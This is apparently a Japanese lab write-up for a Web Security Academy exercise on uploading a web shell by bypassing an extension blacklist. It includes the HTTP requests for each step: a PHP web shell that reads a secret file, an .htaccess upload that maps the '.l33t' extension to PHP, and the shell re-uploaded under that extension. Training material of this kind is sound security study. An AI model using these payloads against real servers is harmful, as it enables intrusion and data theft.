ブラックリスト・バイパスによる Web shell のアップロード。20 of 35 ラボ
デフォルトリクエスト
POST /my-account/avatar HTTP/2 Host: 0ad0006b0360a00aa91c1aa50035002c.web-security-academy.net Cookie: session=MaMEkgW9w2SCDP1ik0p39ruNmlwPY7Qz ~省略~ ------WebKitFormBoundaryBsueLBip14ARmpO6 Content-Disposition: form-data; name="avatar"; filename="hacker.png" Content-Type: image/png �PNG ~バイナリのため省略~
デフォルトアップロード先
<img src="/files/avatars/hacker.png" class="avatar">
1. テスト用WebShell
<?php echo file_get_contents('/home/carlos/secret'); ?>
"php files are not allowed"

2. .htaccess ファイルのアップロード(別の拡張子のファイルを PHP としてパース)
Content-Disposition: form-data; name="avatar"; filename=".htaccess" Content-Type: text/plain AddType application/x-httpd-php .l33t(← LEET: リート。一部のアルファベットを似た形の数字や記号で置き換える書き方のこと)
HTTP/2 200 OK The file avatars/.htaccess has been uploaded.
3. 拡張子を変えた WebShellの再アップロード
------WebKitFormBoundaryagT3gEkXQlWsnH8A Content-Disposition: form-data; name="avatar"; filename="webshell3.l33t" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?>
HTTP/2 200 OK The file avatars/webshell5.l33t has been uploaded.
.l33t ファイルもPHPであると関連付けられているため実行される。

参考情報
PHP: Apache 2.x (Unixシステム用) - Manual
Apache が特定の拡張子のファイルを PHP としてパースするよう設定します。 たとえば、Apache が拡張子 .php のファイルを PHP としてパースするようにします。 単に Apache の AddType ディレクティブを使うだけではなく、 悪意を持ってアップロード (あるいは作成) された exploit.php.jpg のようなファイルが PHP として実行されてしまわないようにしたいものです。